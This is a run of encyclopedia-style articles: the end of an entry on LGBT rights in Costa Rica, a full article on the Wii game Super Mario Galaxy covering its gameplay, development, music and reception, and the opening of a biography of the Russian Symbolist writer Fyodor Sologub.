In 2012, controversy erupted when Justo Orozco, president of the Costa Rican Renewal Party, was head of the Legislative Assembly's Human Rights Committee. Protesters were upset that Orozco expressed support for the belief that homosexuality is a "sin" and a "treatable disease". As a result of the protests, future Vice President Ana Helena Chacón, then a PUSC member, moderated an official government meeting with protesters seeking to expand legal equality for same-sex couples.
The effect of the Inter-American Court of Human Rights's ruling on same-sex marriage caused uproar in the country and is often signaled and one of the main causes behind the divisive 2018 Costa Rican general election, in which the two main candidates were Fabricio Alvarado Muñoz (PRN), a conservative Evangelical and staunch opponent of same-sex marriage, and Carlos Alvarado Quesada (PAC), a liberal and staunch supporter.
Societal views
A 2013-2014 survey using samples from different religious backgrounds showed that support for LGBT rights was stronger among non-religious Costa Ricans, non-practicing Catholics and non-Christian minorities, whilst most practicing Catholics, Mainline Protestants and Neo-Pentecostals considered homosexuality as morally incorrect and "curable".
A poll conducted between January 4 and 10, 2012 by La Nación showed that 55% of Costa Ricans supported the statement "same-sex couples should have the same rights as heterosexual couples", while 41% were opposed. Support was higher among people aged 18–34, at 60%.
HIV/AIDS
While HIV/AIDS is not exclusively a problem for LGBT people, public health efforts to fight the spread of disease have raised public awareness of sexual orientation and gender identity issues.
Since the late 1990s, equal opportunity laws in Costa Rica have protected people living with HIV/AIDS. The law also stipulates that all persons living with HIV have a right to medical care, regardless of their nationality.
HIV/AIDS preventative programs for LGBT people are primarily handled by non-governmental organizations (NGOs). Comprehensive sex educational campaigns are almost nonexistent in public high schools because of opposition from the Catholic Church and other religious groups.
Summary table
See also
LGBT rights in the Americas
Same-sex marriage in Costa Rica
References
External links
Goodwater Human Rights Association
LGBT Human Rights
LGBT Rights Costa Rica
CIPAC (local NGO that provides help and resources for GLBT
Movimiento Diversidad (local gay politics)
Mujer y Mujer Sitio Lésbico en Costa Rica
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https://en.wikipedia.org/wiki/Super%20Mario%20Galaxy
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Super Mario Galaxy
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is a 2007 platform game developed and published by Nintendo for the Wii. It is the third 3D game in the Super Mario series. As Mario, the player embarks on a quest to rescue Princess Peach, save the universe from Bowser, and collect 120 Power Stars, after which the player can play the game as Luigi for a more difficult experience. The levels consist of galaxies filled with minor planets and worlds, with different variations of gravity, the central element of gameplay. The player character is controlled using the Wii Remote and Nunchuk and completes missions, fights bosses, and reaches certain areas to collect Power Stars. Certain levels use the motion-based Wii Remote functions.
Nintendo EAD Tokyo began developing Super Mario Galaxy after the release of Donkey Kong Jungle Beat in late 2004, when Shigeru Miyamoto suggested that Nintendo commission a large-scale Mario game. The concept of spherical platforms originated from Super Mario 128, a GameCube tech demo shown at Nintendo Space World in 2000. Nintendo aimed to make the game appeal to players of all ages, and the team had more freedom in designing it compared to other Super Mario games because of the outer space setting. The game was directed by Yoshiaki Koizumi and soundtrack was composed by Mahito Yokota and Koji Kondo, using a symphony orchestra for the first time in the series.
Super Mario Galaxy was a critical and commercial success, hailed as one of the best games in the series and one of the greatest video games of all time. At the time of its closure in 2019, Super Mario Galaxy was the highest-rated game of all time on review-aggregating site GameRankings. The game's graphics, gravity mechanics, level design, soundtrack, setting, and story all received high praise. It won several awards from top gaming publications, including multiple "Game of the Year" titles, and became the first Nintendo title to win the BAFTA Award for Best Game. The game is the ninth best-selling Wii game worldwide with sales of 12.80 million. The game was released as a Nintendo Selects title in 2011, as a download via the Wii U's eShop in 2015, on the Nvidia Shield in China in 2018, and as part of the Super Mario 3D All-Stars collection for the Nintendo Switch in 2020. A sequel, Super Mario Galaxy 2, was released for the Wii in 2010.
Gameplay
Premise and setting
Super Mario Galaxy is set in outer space, where Mario travels through different galaxies to collect Power Stars, earned by completing missions, defeating a boss, or reaching a particular area. Each galaxy contains planetoids and orbiting structures for the player to explore. Each astronomical object has its own gravitational force, allowing the player to completely circumnavigate the planetoids, walking sideways or upside down. The player can usually jump from one independent object and fall towards another one nearby. Although the main gameplay is in 3D, there are several areas in the game in which the player's movements are restricted to a two-dimensional plane.
The game's main hub is the Comet Observatory, a spaceship which contains six domes that provide access to most of the game's 42 available galaxies, with each dome except one holding five. Five domes end with a boss level in which the objective is to defeat Bowser or Bowser Jr. and earn a special Power Star, known as a Grand Star, that gives the player access to the next dome. The player only has access to one galaxy when they begin the game; as more Power Stars are collected, more galaxies and Stars become available. The player is awarded the ability to play as Luigi after collecting 120 Power Stars as Mario. Once 120 Power Stars are collected with both characters, the player is rewarded one further challenge which, upon completion, awards the player with the final two stars, and two commemorative pictures of the characters that can be sent to the Wii Message Board.
Controls
The player-character is controlled via the Wii Remote and Nunchuk. While most of Mario's abilities are taken directly from Super Mario 64, such as the long jump, wall jumps, and a variety of somersaults, a new feature called the Star Pointer that uses the Wii Remote's motion sensor is included. It is a small blue cursor that appears when the Wii Remote pointer is pointed at the screen. The Star Pointer is used to pick up special konpeito-shaped objects called "Star Bits", which can then be shot to stun enemies, manipulate obstacles, or feed Hungry Lumas (star-shaped sentient beings). The pointer can also latch onto small blue objects called "Pull Stars", which can pull Mario through space. In certain levels that encase the player in a floating bubble, the Star Pointer is used to blow wind and maneuver the bubble.
Early in the game, the player learns a new ability known as the "Spin" technique, which has appeared in varying forms throughout the Super Mario franchise. In Super Mario Galaxy, the "spin" is primarily used for melee attacks to stun enemies and shatter objects, as well as triggering special propellers called "Sling Stars" or "Launch Stars" that launch Mario across large distances through space. The "spin" utility is also used for climbing vines, ice skating, flipping switches, unscrewing bolts, and for activating several power-ups. Other Wii Remote functions are available for smaller quests, such as surfing aboard a manta ray or balancing atop a large ball and rolling it through an obstacle course.
Power-ups and lives
Nine power-ups grant Mario temporary abilities. For example, special mushrooms bestow the player with a Bee, Boo, or Spring Mushroom. The Bee Mushroom allows Mario to hover through the air, climb on honeycombs, and walk on clouds and flowers; the Boo Mushroom allows him to float through the air, become transparent, and move through certain obstacles; and the Spring Mushroom allows him to jump to high areas that would be otherwise inaccessible. The Fire Flower allows Mario to throw fireballs at enemies, and the Ice Flower grants flame attack immunity and allows Mario to create hexagonal ice tiles to cover any liquid surface he walks on. The Rainbow Star grants Mario invincibility and lets him run faster.
Mario's health consists of a three-piece health meter, which is depleted through contact with enemies and hazards. When swimming underwater, Mario has an air supply meter, which quickly depletes his main health meter if it runs out. Mario's health and air supply can be restored by collecting coins, or through touching bubbles if underwater. When the health meter becomes empty, the player loses a life and must go back to a predetermined checkpoint. The health meter can temporarily expand to six units through the use of a Life Mushroom. Instant death can occur by being swallowed by quicksand or dark matter, by being crushed by hazards, or by falling into black holes or other bottomless pits. The player can obtain extra lives by collecting 1-Up Mushrooms, 50 coins without losing a life, or 50 Star Bits.
Multiplayer
Super Mario Galaxy has a co-operative two-player option called "Co-Star" mode, in which one player controls Mario while the other uses only the Wii Remote to control a second Star Pointer on-screen to gather Star Bits and shoot them at enemies. The second player can also make Mario jump, and the height of Mario's jump can be increased if the first and second player press the A button at the same time. The second player can prevent some enemies from moving by aiming the pointer star at them and holding the A button.
Plot
The centennial Star Festival is held to watch a comet in the Mushroom Kingdom. On the night of the Star Festival, Princess Peach discovers a star-shaped creature called a Luma and invites Mario to come to the festival to see the Luma she discovered. Just as Mario arrives at the town, Bowser invades the Mushroom Kingdom in a fleet of airships, littering the landscape with fireballs and petrifying its citizens in crystals. He invites Peach to his creation of his galaxy and removes Peach's castle from its foundations using a giant flying saucer, and lifts it into outer space. Kamek, one of Bowser's minions, launches Mario, who tried to rescue Princess Peach, into space and onto a small planet with his magic while the Luma escapes from her hands. On the planet, Mario wakes up after being knocked unconscious and meets the Luma which Peach found earlier, along with the space Princess Rosalina and her star-shaped companions, the Lumas. Rosalina describes herself as a watcher of the stars who uses the Comet Observatory to travel across the universe. However, Bowser has stolen all of the Power Stars that act as the Observatory's power source, rendering it immobile. Bestowed with the power to travel through space through one of the Lumas, Mario sets off on a journey across the universe to reclaim the Power Stars and restore power to Rosalina's observatory. Along the way, he finds friends from the Mushroom Kingdom such as Luigi and the Toads while fighting Bowser and Bowser Jr. at certain points.
Upon collecting enough Power Stars, the Comet Observatory flies to the center of the universe, where Bowser is holding Peach captive. While confronting Bowser, Mario learns that he plans to rule the entire universe with Peach at his side. Mario defeats Bowser and frees Peach, but one of the galaxy's planets collapses on itself, becoming a supermassive black hole that begins consuming the entire universe. The Lumas sacrifice themselves and jump into the black hole to destroy it, causing the black hole to collapse into a singularity and the universe is recreated entirely as the singularity explodes in a huge supernova. Rosalina appears to Mario, revealing that dying stars are later reborn as new stars. When the universe is recreated, Mario awakens in the Mushroom Kingdom, which was recreated in the supernova, alongside Peach and Bowser, and he celebrates the new galaxy that has emerged in the skies. If the player collects 120 stars, Rosalina will thank the player and, with the reborn Lumas, leave aboard the Comet Observatory to travel the cosmos again.
Development
The concept for Super Mario Galaxys gameplay originated from ideas taken from Super Mario 128, a technology demonstration shown at Nintendo Space World in 2000 to exemplify the processing power of the GameCube. The demonstration's director (and future director of Super Mario Galaxy), Yoshiaki Koizumi, desired that one of its distinguishing features, spherical-based platforms, should be used in a future game, but was held back in belief that such a feature would be impossible for technical reasons. Super Mario creator Shigeru Miyamoto suggested to work on the next large-scale Mario game after Nintendo EAD Tokyo finished development on Donkey Kong Jungle Beat in late 2004, pushing for the spherical platform concept to be realised. A prototype of the game's physics system took three months to build, where it was decided that the game's use of spherical platforms would best be suited to planetoids in an outer space environment, with the concept of gravity as a major feature. During development, the designers would often exchange ideas with Miyamoto from his office in Kyoto, where he would make suggestions to the game design. According to Koizumi, many ideas were conceived before development of the Wii console itself begun.
The idea for Mario to have a "spin" attack came during the early stages of development, when it was decided that jumping on enemies on a spherical map would be difficult for some players – at one point, Koizumi remarked that making characters jump in a 3D environment was "absurd". Takeo Shimizu, the game's producer and programmer, noted that the most basic action in a 3D action game was to simply run, and concluded that the easiest way to attack was to "spin", not jump. Prior to the development team shifting focus on the Wii and realising the potential of its different controls, the "spin" attack was originally planned to be executed by swivelling the analogue stick on the GameCube controller. The "spin" was initially activated via rotation of the Nunchuk's control stick, but after motion sensing was confirmed to be implemented in the Wii Remote, the "spin" was changed to be activated through shaking the latter. Nintendo president Satoru Iwata wanted to prioritise the game's "fun factor" by giving the player a sense of achievement after they have completed a difficult task; Iwata noted an increasing number of consumers giving up during a video game and thus wanted Super Mario Galaxy to appeal to that audience. In response, the development team created a co-operative mode which allowed one player to control Mario whilst the other controlled the pointer with the Wii Remote, therefore enabling lesser experienced players to enjoy themselves in the game.
The development team wanted the game to be enjoyed from the ages of "5 to 95", so during early stages of development, they took steps to ensure that the player would adjust to the game without difficulty. However, Miyamoto thought that it was too easy and lacked insensitivity, asserting that a game loses its excitement when it is made unchallenging. To balance out the difficulty, Koizumi suggested that Mario's health meter should have a maximum capacity of three instead of eight, but at the same time more 1-Up Mushrooms and checkpoints would be placed in the game. Koizumi said that he wanted to alter the game's "intensity factor" by limiting the number of hits the player could take to three, as opposed to Super Mario 64 and Super Mario Sunshine, which featured eight. Retrospectively, Iwata added that decreasing the health meter to three from eight is "representative of the things that players do not notice that actually changes the gameplay dramatically".
With the concept of gravity and spherical platforms being the central elements of gameplay, the development team drafted several ideas on how to implement them into the game. Koichi Hayashida, a co-designer of the game, initially expressed scepticism of incorporating a spherical playing field into a jump-based platform game, stating that it would be "a bad match". Shimizu also had a negative reaction to the idea, with his main concern being that the implementation of spherical platforms would be impossible to achieve due to technical reasons, and "felt a sense of danger" when the plan was eventually approved. However, once Shimizu started debugging the game he realised that the experience felt "totally fresh" and thought that he was "playing a game like nothing that's come before it". Futoshi Shirai, the game's level designer, stated that unlike Hayashida and Shimizu, he had a positive impression of the new gameplay elements. Shirai liked the idea of being able to run on different types of planetoids, and came up with designs such as planets in the shape of ice cream and apples. Because the game was in outer space, the team could devise ideas that would have otherwise been hard to implement in other Super Mario games. Shirai said that the benefit of working with a spherical-shaped world was that they could design and discover new things, with Kenta Motokura, the game's artist, similarly stating that the player would be continuously enjoying their adventure by travelling to new planets. Koizumi appreciated the "free and open" feel of developing the game, saying that it enabled the team to make the game more fun for the player.
Throughout development, staff members enjoyed the level of freedom the game offered, in particular the transforming abilities of Mario. Iwata noted that Mario's Bee Suit was popular with women, and also stated that the titular character's other suits were designed to add variations to the gameplay. According to Hayashida, the idea to include transformations in the game came from Koizumi. One of the female members of staff who worked on Super Mario Galaxy wrote a note saying "I want a Bee Mario" when asked by Koizumi what they wanted to transform Mario into. Shirai stated that the development team always discussed their ideas together, and devised ways to incorporate an idea into the game and make it more entertaining. Iwata concluded that having the game take place in space was advantageous, as it was flexible enough to accommodate a wide range of ideas.
After development was finished, the team reflected that the fundamental part of a Super Mario game was to make the player think about how "fun" it was to play the game itself, rather than simply finishing it. To accomplish this, Koizumi made sure that there were certain areas of the game which could be enjoyed by all types of people, including children. Shimizu added that Super Mario Galaxys ulterior motive was to have everybody "gather around the TV", as he felt that a game starring Mario was not necessarily something which could be enjoyed by playing alone. The game was made to support six different save files – Shimizu liked the idea of one player looking at the progress of another player and seeing how they compared against their own. Iwata stated that when the first Super Mario game was released, there used to be "many more" people gathering around the television who would enjoy watching the gameplay experience. Iwata asserted that well-made video games were more enjoyable to spectate, and hoped that Super Mario Galaxys co-operative mode would tempt someone who does not usually play video games to join.
Music
During development, Mahito Yokota, who was in charge of the musical direction, originally wanted Super Mario Galaxy to have a Latin American style of music; and even had composed 28 tracks in that style. Latin American percussion instruments had already been featured in previous Super Mario installments, such as steelpans, bongo drums, and congas. For Super Mario Galaxys theme, Yokota used Latin American instruments and a synthesiser to replicate the sounds featured in old science fiction films. The composition was approved by Yoshiaki Koizumi, the game's director and designer, but when Yokota presented it to the game's sound supervisor, Koji Kondo, he stated that it was "no good". When asked why his music was rejected, Kondo responded: "if somewhere in your mind you have an image that Mario is cute, please get rid of it". Incensed by the rejection, Yokota almost resigned from his job, but Kondo implied that Mario's character was "cool" and instructed him to try again.
According to Yokota, he was under the impression that Mario was suited for children, causing him to create "cute" music that would appeal to the targeted audience. The game's director, Yoshiaki Koizumi, after Yokota's music was rejected, later complimented him telling him "It wasn't so bad". Three months later, Yokota presented three different styles of music to Miyamoto: one piece had an orchestral sound, the other had pop music, and the last featured a mix of both orchestral and pop music. Miyamoto chose the orchestral piece, as it sounded the most "space-like". Yokota stated that Miyamoto chose the piece without knowing that Kondo actually wrote it. In a retrospective interview, Satoru Iwata said that Miyamoto chose the music that sounded "space-like" because he was looking for a sound that would express the game, in contrast to the tropical sounds of Super Mario Bros. Yokota revealed that he initially struggled to create music that sounded like a Super Mario game, but as time progressed he declared that the songs he made for the game had "become natural".
To create a sense of variety with the soundtrack, Yokota and Kondo wrote pieces individually; Kondo composed four pieces for the game whereas Yokota composed the rest. Kondo composed the pieces that Yokota specifically requested, as he thought that the game's soundtrack would "end up all sounding the same" if it were composed by one person. The game originally heavily utilised the Wii Remote speaker for "all sorts of sound [effects]", but Masafumi Kawamura, the game's sound director, decided they were redundant when played in tandem with those from the television. Kawamura decided to restrict Wii Remote sound effects to those triggered by Mario's actions, such as hitting an enemy, feeling that it better immersed the player.
The game's soundtrack features 28 orchestral songs performed by a 50-person symphony orchestra. Yokota initially had concerns whether or not orchestral music would fit in with the rhythm of a Mario game, but thought that such music would make the scale of the game "seem more epic". Kondo, on the other hand, believed if orchestral music were used the player would be "obligated to play the game in time to the music". To synchronise the soundtrack to gameplay, Kawamura utilised similar techniques he used to synchronise sound effects in The Legend of Zelda: Wind Waker and Donkey Kong Jungle Beat — in which the game synchronises MIDI data with streaming data, resulting in sound effects playing at the same time as background music. To make synchronisation possible, the audio team requested the orchestra to perform at different tempos set with a metronome.
The official soundtrack was released on 24 January 2008. It was initially an exclusive to Club Nintendo subscribers in Japan, although the soundtrack became available to European Club Nintendo members in November 2008. The soundtrack was released in two versions: the Original Soundtrack, which only contains 28 tracks from the game, and the Platinum Edition, which contains another 53 tracks on a second disc for a total of 81 tracks. In North America, the Original Soundtrack was included in a black Wii Family Edition console bundle alongside New Super Mario Bros. Wii in 2011.
Reception
Super Mario Galaxy has received critical acclaim, becoming the sixth-highest-rated game of all time on review aggregator Metacritic with an aggregate score of 97 out of 100 based on 73 reviews. Before review-aggregate website GameRankings shut down in December 2019, it was listed as the highest-rated game with at least 20 reviews, having a 97.64% ranking based on 78 reviews.
The visuals and presentation were the most praised aspects of the game. Chris Scullion of the Official Nintendo Magazine asserted that the graphics pushed the Wii to its full potential, and stated that its visual effects and large playing areas would constantly astound the player. Jeremy Parish from 1UP.com noted that despite the Wii's limitations, the visuals were "absolutely impressive", especially when modified at a higher resolution. Computer and Video Gamess Andrew Robinson opined that Nintendo favored gameplay over graphics, but thought Super Mario Galaxy "got both perfect". Margaret Robertson of Eurogamer called the visuals an "explosion of inventiveness", stating that the game's detail is only matched by its mission design ingenuity. Andrew Reiner of Game Informer approved of the game's portrayal of water and particle effects, but noted the visuals were in similar detail to Super Mario Sunshine. Patrick Shaw from GamePro opined that the game takes full advantage of the Wii's capabilities, both in terms of presentation and control schemes.
Regarding the presentation, Game Revolutions Chris Hudak thought that Super Mario Galaxy was a "next-gen reincarnation" of Super Mario 64, stating the game was polished, engaging and evocative. Alex Navarro of GameSpot commended the colourful and vibrant level details, animations and character designs, saying that "there simply isn't a better-looking Wii game available". Furthermore, Navarro praised the game engine's ability of keeping frame rate drops to "infrequent bouts". Bryn Williams of GameSpy asserted that the game had the best visuals on the Wii, saying that the graphics "are out of this world" and that its wide range of colours produces "better-than-expected" texturing. A reviewer from GamesRadar stated that "words simply can't describe" the game's visual concepts. Louis Bedigan from GameZone thought the visualisations from Super Mario Galaxy contrast from the blocky characters of previous Super Mario games, praising the planet designs as beautiful and everything else as "pure eye candy". Matt Casamassina of IGN thought Super Mario Galaxy was the only game that pushed the Wii console, stating it combines "great art" with "great tech", resulting in what he described to be "stunning results". David Halverson of Play opined that the game was "supremely" polished and featured "gorgeous next-gen" graphics.
The gameplay, in particular the gravity mechanics and use of the Wii Remote, was also praised. A reviewer from Famitsu commented on the game's tempo, believing it was "abnormally good" and that the different variations in level design and difficulty gradually "builds things up". A reviewer from Edge praised the game's use of the Wii Remote, stating the control schemes were more subtle and persuasive as opposed to the "vigorous literalism" of The Legend of Zelda: Twilight Princess. Scullion was initially sceptical about using the Wii Remote as a pointer, but admitted that "within mere minutes it felt like we'd been doing this since the days of Mario 64". Scullion also thought that the game's strongest aspect was the "incomparable" gameplay. Parish praised the fluctuating gravity that was featured in the game, stating that it "makes even the wildest challenge feel almost second nature". Robinson similarly commended the gravity, saying that the different uses of the game's gravitational pulls allows the scale to grow to "genuinely draw-dropping proportions". Robertson regarded the use of gravity as an "explosion of inventiveness". Reiner thought that the game reinvented the platform genre for the seventh generation of video game consoles, stating that Super Mario Galaxy was both nostalgic and new by breaking the laws of physics.
Shaw asserted that the new gameplay mechanics reinvigorated the Super Mario franchise, and summarised by saying it was the best title since Super Mario 64. Similarly, Hudak thought that the game was a reincarnation of Super Mario 64, whilst stating that the variety of gameplay had a "signature Miyamoto style". Navarro said that the level designs were "top flight in every regard" and also praised the game's introduction of suits, adding that they brought a "great dimension" to gameplay. Williams opined that the game's "shallow" two-player mode did not add anything to the overall experience. He did praise the various gameplay components and the use of both the Wii Remote and Nunchuck, stating that the setup was "pinpoint accurate". A reviewer from GamesRadar thought that the control scheme had a fluid response that improved over the controls of its predecessor, Super Mario Sunshine. Regarding the controls and world designs, Bedigan stated that both aspects are "close to perfection as a game can get". Casamassina found the gameplay mechanics, in particular varying physics, as "ridiculously entertaining". He also regarded the motion control as being well implemented, stating that the player would appreciate the change of pace that the levels offer. Halverson particularly commended the innovative controls, saying the Wii Remote and Nunchuck was "at its finest" and that it was difficult to imagine playing it in another fashion.
The soundtrack and audio were well received by critics. Scullion believed it to be the best out of any Super Mario game, declaring that each track matches the environments featured throughout the game. Parish considered the orchestrated music superior to the visuals, saying that the dynamic sounds were "quintessentially Mario" yet uncharacteristically sophisticated. Reiner stated that the orchestrated soundtrack was beautiful as well as nostalgic, with Robinson similarly citing it as "amazing". Navarro praised the modernised orchestrated soundtrack, stating that it was both excellent and "top-notch". Williams thought the game featured the best sound on the Wii, stating that original soundtrack would "go down in history" as Nintendo's best first-party effort. A reviewer from GamesRadar stated that Super Mario Galaxy featured the finest orchestral bombast ever heard in a game. Bedigan asserted that the soundtrack was "another step forward" in video game music, praising the music as moving and breathtaking. Casamassina judged the game's music "so exceptional" and "absolutely superb", summarising that it had the best music out of any Nintendo game to date. Hudak criticised the "traditional Mario-esque" lack of voice acting, despite admitting that if the game did feature voice acting it would "probably seem lame and wrong".
Sales
Super Mario Galaxy has been a commercial success, selling 350,000 units in Japan within its first few weeks of sale. In the United States, the game sold 500,000 units within its first week of release, earning it the highest first-week sales for a Mario game in the country at the time. The NPD Group reported that 1.4 million copies of the game were sold in the US in December 2007, making it the highest-selling game of the month, and that the game had become the fifth best-selling game of 2007 with 2.52 million units having been sold since its release. After 13 months, it had sold 7.66 million copies worldwide. By January 2010, the game had sold 4.1 million units in the US, and by February it had become one of nine Wii titles to surpass 5 million unit sales in the country. By the end of March 2020, Nintendo had sold 12.80 million copies of the game worldwide, making it the third best-selling non-bundled Wii game and the ninth best-selling Nintendo-published game for the Wii.
Awards
Super Mario Galaxy received Game of the Year 2007 awards from IGN, GameSpot, Nintendo Power, Kotaku, and Yahoo! Games. The game was also perceived as the highest ranking title in 2007 according to the review aggregator GameRankings. In February 2008, Super Mario Galaxy received the "Adventure Game of the Year" award from the Academy of Interactive Arts & Sciences at the 11th Annual Interactive Achievement Awards (now known as the D.I.C.E. Awards); it also received nominations for "Overall Game of the Year", "Console Game of the Year", "Outstanding Achievement in Game Design", "Outstanding Achievement in Gameplay Engineering" and "Outstanding Innovation in Gaming". Super Mario Galaxy placed third in the Official Nintendo Magazines "100 greatest Nintendo games of all time" list. In 2009, the game won the "Game of the Year" BAFTA at the 5th British Academy Games Awards, surpassing Call of Duty 4: Modern Warfare and becoming the first Nintendo game to win this award, whilst in the same year, Super Mario Galaxy was named the number one Wii game by IGN. It was also named by Eurogamer and IGN as the "Game of the Generation". In 2015, the game placed 11th on USgamers "15 Best Games Since 2000" list. Guinness World Records ranked Super Mario Galaxy 29th in their list of top 50 console games of all time based on initial impact and lasting legacy. In their final issue, the Official Nintendo Magazine ranked Super Mario Galaxy as the greatest Nintendo game of all time. The soundtrack also won the "Best Design in Audio" award from Edge.
Legacy
In the 1,000th issue of Famitsu, Miyamoto expressed his interest in making a sequel to Super Mario Galaxy. The game was originally called "Super Mario Galaxy More" during development, and was initially going to feature variations of planets featured in Super Mario Galaxy. Over time, new elements and ideas were brought into the game, and it was decided that the game would be a full sequel. Super Mario Galaxy 2 was announced during the Nintendo conference at E3 2009 held in Los Angeles. It was released on 23 May 2010 in North America, 27 May 2010 in Japan and on 11 June 2010 in Europe. The sequel has been met with as much critical acclaim as its predecessor, and has sold 6.36 million copies worldwide as of April 2011.
Super Mario Galaxy, as well as several other Wii games, was rereleased for Nvidia's Shield Tablet in China on 22 March 2018 as the result of a partnership between Nintendo, Nvidia and iQiyi. The game runs on the Shield via an emulator, but has interface and control modifications, and support for 1080p resolution. Due to the lack of motion controls on the Shield, some controls are remapped; for example, the on-screen pointer is remapped to the right analogue stick and the button to choose a Galaxy is remapped to the right trigger.
The game is included alongside Super Mario 64 and Super Mario Sunshine in the Super Mario 3D All-Stars collection on Nintendo Switch. It was released on 18 September 2020.
Notes
References
Citations
Bibliography
External links
2007 video games
3D platform games
Cooperative video games
Video games about extraterrestrial life
Nintendo Entertainment Analysis and Development games
Multiplayer and single-player video games
Wii games
Wii-only games
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Video games scored by Koji Kondo
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Galaxy
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https://en.wikipedia.org/wiki/Fyodor%20Sologub
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Fyodor Sologub
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Fyodor Sologub (, born Fyodor Kuzmich Teternikov, , also known as Theodor Sologub; – 5 December 1927) was a Russian Symbolist poet, novelist, translator, playwright and essayist. He was the first writer to introduce the morbid, pessimistic elements characteristic of European fin de siècle literature and philosophy into Russian prose.
Early life
Sologub was born in St. Petersburg into the family of a poor tailor, Kuzma Afanasyevich Teternikov, who had been a serf in Poltava guberniya, the illegitimate son of a local landowner. When his father died of tuberculosis in 1867, his illiterate mother. Tatiana Semyonovna Teternikova, was forced to become a servant in the home of the aristocratic Agapov family, where Sologub and his younger sister Olga grew up. The family took an interest in the education of young Fyodor, sending him to a pedagogical institution where Sologub was a model student. Seeing how difficult his mother's life was, Sologub was determined to rescue her from it, and after graduating from the St. Petersburg Teachers' Institute in 1882 he took his mother and sister with him to his first teaching post in Kresttsy, where he began his literary career with the 1884 publication in a children's magazine of his poem "The Fox and the Hedgehog" under the name Te-rnikov.
Sologub continued writing as he relocated to new jobs in Velikiye Luki (1885) and Vytegra (1889), but felt that he was completely isolated from the literary world and longed to be able to live in the capital again; nevertheless, his decade-long experience with the "frightful world" of backwoods provincial life served him well when he came to write The Petty Demon. (He said later that in writing the novel he had softened the facts: "things happened that no one would believe if I were to describe them.") He felt sympathetic toward the writers associated with the journal Severnyi vestnik (Northern Herald), including Nikolai Minsky, Zinaida Gippius, and Dmitry Merezhkovsky, who were beginning to create what would be known as the Symbolist movement, and in 1891 he visited Petersburg hoping to see Minsky and Merezhkovsky, but met only the first.
Early literary career
In 1892 he was finally able to relocate to the capital, where he got a job teaching mathematics, started writing what would become his most famous novel, The Petty Demon, and began frequenting the offices of Severny Vestnik, which published much of his writing during the next five years. There, in 1893, Minsky, who thought Teternikov was an unpoetic name, suggested that he use a pseudonym, and the aristocratic name Sollogub was decided on, but one of the ls was omitted as an attempt (unavailing, as it turned out) to avoid confusion with Count Vladimir Sollogub. In 1894 his first short story, "Ninochkina oshibka" (Ninochka's Mistake), was published in Illustrirovanny Mir, and in the autumn of that year his mother died. In 1896 he published his first three books: a book of poems, a collection of short stories, and his first novel, Tyazhelye sny (Bad Dreams), which he had begun in 1883 and which is considered one of the first decadent Russian novels.
In April 1897 he ended his association with Severny Vestnik and, along with Merezhkovsky and Gippius, began writing for the journal Sever (North). The next year his first series of fairy tales was published. In 1899 he was appointed principal of the Andreevskoe municipal school and relocated to their premises on Vasilievsky Island; he also became a member of the St. Petersburg District School Council. He continued to publish books of poetry, and in 1902 he finished The Petty Demon, which was published partially in serial form in 1905 (in Voprosy zhizni, which was terminated before the final installments). At this time his "Sundays," a literary group that met at his home, attracted poets, artists, and actors, including Alexander Blok, Mikhail Kuzmin, Alexei Remizov, Sergei Gorodetsky, Vyacheslav Ivanov, Léon Bakst, Mstislav Dobuzhinsky and Sergei Auslender. Teffi wrote of him at this period:
His face was pale, long, without eyebrows; by his nose was a large wart; a thin reddish beard seemed to pull away from his thin cheeks; dull, half-closed eyes. His face was always tired, always bored... Sometimes when he was a guest at someone's table he would close his eyes and remain like that for several minutes, as if he had forgotten to open them.
He never laughed... Sologub lived on Vasilievsky Island in the small official apartment of a municipal school where he was a teacher and inspector. He lived with his sister, a flat-chested, consumptive old maid. She was quiet and shy; she adored her brother and was a little afraid of him, and spoke of him only in a whisper. He said in a poem:
"We were holiday children, My sister and I"; they were very poor, those holiday children, dreaming that someone would give them "even motley-colored shells from a brook." Sadly and dully they dragged out the difficult days of their youth. The consumptive sister, not having received her share of motley shells, was already burning out. He himself was exhausted by his boring teaching job; he wrote in snatches by night, always tired from the boyish noise of his students...
So Sologub lived in his little official apartment with little icon lamps, serving his guests mint cakes, ruddy rolls, pastila, and honey cakes, for which his sister went across the river somewhere on a horsecar. She told us privately, "I'd love to ride on the outside of the horsecar sometime, but my brother won't let me. He says it's unseemly for a lady."... Those evenings in the little apartment, when his close literary friends gathered, were very interesting.
Fame and marriage
At the time of the 1905 Revolution his politically critical skazochki ("little tales") were very popular and were collected into a book, Politicheskie skazochki (1906). The Petty Demon was published in a standalone edition in 1907 and quickly became popular, having ten printings during the author's lifetime. Sologub's next major prose work, A Created Legend (1905–1913) (literally "the legend in the making," a trilogy consisting of Drops of Blood, Queen Ortruda, and Smoke and Ash), had many of the same characteristics but presented a considerably more positive and hopeful description of the world. "It begins with the famous declaration that although life is 'vulgar . . . stagnant in darkness, dull and ordinary,' the poet 'creates from it a sweet legend . . . my legend of the enchanting and beautiful.'"
His increasing literary success was tempered for him by his sister's tuberculosis; in 1906 he traveled with her to Ufa Guberniya for treatment, and in June 1907 he took her to Finland, where she died on 28 June. The next month he returned to St. Petersburg and retired after 25 years of teaching. In the autumn of 1908 he married the translator Anastasia Chebotarevskaya (born in 1876), whom he had met at Vyacheslav Ivanov's apartment three years before. Teffi wrote that she "reshaped his daily life in a new and unnecessary way. A big new apartment was rented, small gilt chairs were bought. The walls of the large cold office for some reason were decorated with paintings of Leda by various painters... The quiet talks were replaced by noisy gatherings with dances and masks. Sologub shaved his mustache and beard, and everyone started to say that he resembled a Roman of the period of decline." He continued publishing poems, plays, and translations; the next year he traveled abroad for the first time, visiting France with his wife, and in September the dramatized version of The Petty Demon was published.
Between 1909 and 1911 The Complete Works of Fyodor Sologub were published in 12 volumes, and in 1911 a collection of critical works appeared, containing over 30 critical essays, notes, and reviews by famous writers. In 1913 he presented a lecture, "The Art Of These Days," that was so successful in St. Petersburg he took it on tour all over Russia. In 1914 he started a magazine, Dnevniki pisatelei (Writers' Journals), and went abroad with his wife, but the outbreak of World War I put an end to the magazine. In 1915 two collections of his stories and tales were published in English, and in 1916 The Petty Demon, all translated by John Cournos.
